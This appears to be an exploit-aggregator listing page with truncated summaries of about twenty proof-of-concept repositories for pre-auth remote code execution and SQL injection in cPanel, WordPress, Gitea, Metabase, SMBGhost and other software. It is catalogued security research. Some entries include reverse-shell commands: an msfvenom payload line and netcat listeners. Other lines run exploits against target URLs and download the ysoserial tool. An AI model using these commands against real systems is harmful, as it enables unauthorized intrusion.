cpanel-sessionscribe

SessionScribe - CVE-2026-41940 Critical unauthenticated RCE in cPanel & WHM. Four HTTP requests forge a root session via CRLF injection into the password field of a preauth session. No auth, no preconditions, every supported tier affected. Disclosed 2026-04-28 by Sina Kheirkhah / watchTowr Labs...

CVE-2026-23918

CVE-2026-23918 Double-free in Apache httpd modhttp2 stream cleanup leading to pre-auth RCE. Affected: httpd 2.4.66 with modhttp2 and multi-threaded MPM event/worker. Fixed in: 2.4.67. Found and reported by Bartlomiej Dmitruk striga.ai and Stanislaw Strzalkowski isec.pl. Writeup:...

CVE-2018-16763_FuelCMS-1.4.1_RCE

CVE-2018-16763 FuelCMS - 1.4.1 - RCE PoC FuelCMS 1.4.1 allows PHP Code Evaluation via the pages/select/ filter parameter or the preview/ data parameter. This can lead to Pre-Auth Remote Code Execution. Exploit This works by exploiting the PHP filter parameter which allows you to use the system...

CVE-2026-63030

CVE-2026-63030 + CVE-2026-60137 — WP2Shell WordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi Overview CVE-2026-63030 CVSS 9.8 and CVE-2026-60137 CVSS 9.1 form a critical pre-authentication remote code execution chain in WordPress Core. The vulnerabilities affect all default...

CVE-2025-32433-PoC-Analysis

FAQ - CVE-2025-32433 1. What is Erlang OTP? Erlang is a general-purpose programming language. OTP Open Telecom Platform is a collection of middleware, libraries, and design principles used for fault tolerance using the BEAM VPN. 2. Why is this version of Erlang vulnerable? OTP 26.2.5.10 is...

CVE-2026-6875-PoC-Exploit

CVE-2026-6875 - ServiceNow Pre‑Auth RCE Exploit Framework & PoC Verifier 🔥 ServiceNow AI Platform — JavaScript Injection → Sandbox Escape → RCE → Root Privesc Exploit Framework & Safe Verifier For authorized security testing only. ⚖️ Legal Disclaimer & Responsible Use This tool is provided for...

EXPLOIT-CVE-2026-26216

CVE-2026-26216 — Crawl4AI unauthenticated RCE via hooks GHSA-5882-5rx9-xgxp CVSS 10.0 · pre-auth RCE · CWE-94 Code Injection Unauthenticated remote code execution on the Crawl4AI Docker server field. This code is executed with exec inside a "homemade sandbox" — a restricted builtins dictionary...

Silent-Call

Silent;Call Pre-authentication remote root on Cisco Unified Communications Manager 15.x Three HTTP requests. Zero credentials. Root access. Every call is now yours. Kill Chain Step| Component| Description ---|---|--- 1| Spoofhack| X-Forwarded-For header spoofing bypasses localhost restriction on...

CVE-2023-38646

CVE-2023-38646 - Metabase Pre-Auth RCE ⚠️ For educational and authorized security research purposes only Original Exploit Authors Very grateful to the original PoC author securezeron Step Guides 1. Set Up the Listener on your attacker machine: root@kitploit: nc -nlvp 4444 2. Then, run this command...

CVE-2020-8813

CVE-2020-8813 The official exploit for Cacti v1.2.8 Remote Code Execution CVE-2020-8813 Cacti v1.2.8 Pre-Auth Remote Code Execution Cacti v1.2.8 Post-Auth Remote Code Execution...

CVE-2026-60004-POC

CVE-2026-60004 — Gitea Pre-Auth Remote Code Execution CVSS 9.8 root@kitploit: ┌──────────────────────────────────────────────────────────────┐ │ CVE-2026-60004 │ Gitea Pre-Auth RCE │ CVSS 9.8 CRIT │ │ diffpatch → git hook injection │ v1.17–1.27.0 affected │...

CVE-2019-1003000-and-CVE-2018-1999002-Pre-Auth-RCE-Jenkins

CVE-2019-1003000-and-CVE-2018-1999002-Pre-Auth-RCE-Jenkins CVE-2019-1003000 and CVE-2018-1999002 Pre-Auth RCE Jenkins...

CVE-2023-29357

Recreation of the SharePoint PoC for CVE-2023-29357 in C with lots of help from ChatGPT. Build with .Net Version 4.7.2 in Visual Studio 2017 Use NuGet Package manager to install any missing packages Yara rules for detection below Usage: root@kitploit: CVE-2023-29357.exe https://yoursharepoint.lol...

CVE-2026-65761

CVE-2026-65761 — EasyStore Joomla Pre-Auth SQL Injection filtersortby Direction → ORDER BY Injection → Full DB Read Overview CVE-2026-65761 CVSS 9.3 Critical is an unauthenticated SQL injection in EasyStore for Joomla by JoomShaper, affecting versions ≤ 2.0.1. The filtersortby product listing...

CVE-2023-38646

CVE-2023-38646 Metabase Pre-Auth RCE Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1,...

CVE-2025-54322

CVE-2025-54322 - XSpeeder SXZOS Pre-Auth RCE Scanner A multi-threaded vulnerability scanner for CVE-2025-54322, an unauthenticated remote code execution vulnerability in XSpeeder SXZOS firmware affecting 70,000+ hosts globally. 📋 Table of Contents About the Vulnerability Features Installation Usa...

SMBGhost_RCE_PoC

SMBGhostRCEPoC RCE PoC for CVE-2020-0796 "SMBGhost" For demonstration purposes only! Only use this a reference. Seriously. This has not been tested outside of my lab environment. It was written quickly and needs some work to be more reliable. Sometimes you BSOD. Using this for any purpose other...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 explanation and researching vulnerability for term porject CENG325 for beginners How to exploit? Userpayload generation for reverse shell: msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python listening port: nc -lvnp 5555 exploi...

watchTowr-vs-SonicWall-PreAuth-RCE-Chain

SonicWall SMA 100 PreAuth RCE Chain PoC PoC for SonicWall SMA 100 PreAuth RCE Chain CVE-2023-44221, CVE-2024-38475 See our blog post for technical details https://github.com/user-attachments/assets/b157b39c-d7bd-4385-af7a-e465f8fd4a41 PoC in Action root@kitploit: python...

ofbiz-CVE-2023-49070-RCE-POC

ofbiz-CVE-2023-49070-RCE-POC This is a pre-auth RCE POC For CVE-2023-49070 which affected Apache ofbiz applications wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar Dns POC RCE POC This tweets helped me alot :...